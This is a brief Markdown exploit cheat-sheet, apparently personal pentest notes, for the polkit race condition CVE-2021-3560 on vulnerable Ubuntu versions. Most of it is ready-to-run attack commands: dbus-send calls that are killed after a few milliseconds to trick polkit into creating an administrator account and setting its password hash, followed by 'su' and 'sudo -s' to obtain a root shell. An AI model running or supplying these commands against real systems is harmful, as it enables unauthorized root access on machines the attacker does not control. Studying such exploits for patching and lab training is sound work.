25 lines
993 B
Markdown
25 lines
993 B
Markdown
|
# CVE-2021-3560
|
||
|
|
|
||
|
|
* Exploit `< 0.105-26ubuntu1.1`
|
||
|
|
|
||
|
|
|
||
|
|
## Racing Condition
|
||
|
|
* Request creation of account via dbus message and `pkexec`. sleep time is variable.
|
||
|
|
```sh
|
||
|
|
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!
|
||
|
|
```
|
||
|
|
* Create password via `openssl passwd -6 -salt salt password123`
|
||
|
|
```sh
|
||
|
|
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!
|
||
|
|
```
|
||
|
|
* Request is killed after polkits receives it
|
||
|
|
|
||
|
|
* Polkit requests uid of user who sent the message, which has been deleted
|
||
|
|
* Error will be thrown
|
||
|
|
* Uid turns to root afterwards
|
||
|
|
* Request succeeds
|
||
|
|
|
||
|
|
* `su user1` and `sudo -s`
|
||
|
|
|
||
|
|
|